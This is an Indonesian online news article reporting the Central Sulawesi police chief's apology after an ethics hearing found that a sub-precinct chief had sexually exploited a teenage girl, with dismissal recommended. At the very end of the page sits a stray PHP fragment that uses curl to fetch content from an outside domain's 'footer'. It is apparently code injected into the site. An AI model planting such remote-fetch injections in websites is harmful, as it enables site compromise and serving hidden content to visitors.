Kapolda Sulteng Minta Maaf

Minggu, 24 Oktober 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Palu l Jejakkasus.info – Kepala Kepolisian Daerah (Kapolda) Sulawesi Tengah (Sulteng) Irjen Pol Rudy Sufahriadi, meminta maaf kepada seluruh masyarakat Sulteng, terkait kasus asusila yang menjerat anggotanya.

Pernyataan Kapolda itu menyusul tindakan dugaan asusila yang dilakukan oleh anggotanya, eks Kapolsek di Kabupaten Parigi Moutong (Parimo), berinisial Iptu IDGN.

“Selaku Kapolda Sulteng saya menyampaikan permohonan maaf saya kepada masyarakat, karena masih ada anggota yang melakukan pelanggaran disiplin,” kata Rudy, Minggu (24/10/2021) di Palu.

Rudy menegaskan, sesuai dengan instruksi Kapolri untuk menindak dan memberikan hukuman tegas kepada anggota Polri yang melakukan kesalahan maupun pelanggaran hukum lainnya.

Baca Juga:  Diduga oknum anggota Polres Kediri menjalin hubungan terlarang dengan istri Jurnalis Edisi I.

“Sesuai dengan instruksi Kapolri, kita tidak boleh ragu-ragu untuk menindak dan memberikan hukuman,” tegas Rudy.

Rudy menyatakan, pemberian sanksi hukum juga berlaku untuk semua anggota yang terbukti melakukan kesalahan maupun pelanggaran hukum lainnya.

“Kami akan tegas menangani anggota yang terbukti salah,” kata Rudy.

“Kita sudah datang ke rumah korban untuk meyakinkan, bahwa saya akan profesional menangani anggota yang salah,” imbuh Rudy.

Sebelumnya, sidang kode etik terhadap oknum Kapolsek di Kabupaten Parigi Moutong, yang diduga melakukan tindakan asusila digelar, Sabtu, 23 Oktober 2021.

Baca Juga:  Relawan Ngajum Dan Wonosari Ngopi Bareng

Dari hasil sidang tersebut, Kapolsek berpangkat Iptu itu, dinyatakan melanggar etik dan direkomendasikan untuk pemberhentian tidak dengan hormat atau dipecat.

Kapolsek berinisial IDGN telah terbukti melakukan perbuatan sebagaimana dimaksud dalam pasal 13 dan pasal 14 ayat (1) huruf b Peraturan Pemerintah Republik Indonesia No.1 tahun 2003 tentang Pemberhentian anggota Polri. Dan pasal 7 ayat (1) huruf b dan pasal 11 huruf c Peraturan Kapolri No.14 tahun 2011 tentang Kode Etik Profesi Polri.

Namun, dari putusan yang merekomendasikan untuk dilakukan pemecatan, Iptu IGDN akan melakukan banding.

Baca Juga:  Kapolsek Tambakrejo Datangi Korban Tersengat Aliran Listrik

“Terhadap putusan rekomendasi PTDH tersebut Iptu IDGN menyatakan banding,” jelas Rudy.

Sebelum putusan sidang etik itu, eks Kapolsek Iptu IDGN tersebut, telah dibebastugaskan dari jabatannya sejak 15 Oktober 2021, dan digantikan dengan pejabat sementara.

Iptu IDGN terlibat kasus asusila dengan seorang remaja perempuan berinisial S yang berdomisili di Kabupaten Parimo.

IDGN diduga memanfaatkan jabatannya dan berjanji kepada S akan membebaskan ayahnya yang terjerat kasus pidana pencurian hewan ternak jika menuruti keinginannya.

Hingga perbuatan tersebut dilakukan, IDGN tidak kunjung membebaskan ayah S. (Tim Sembilan)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>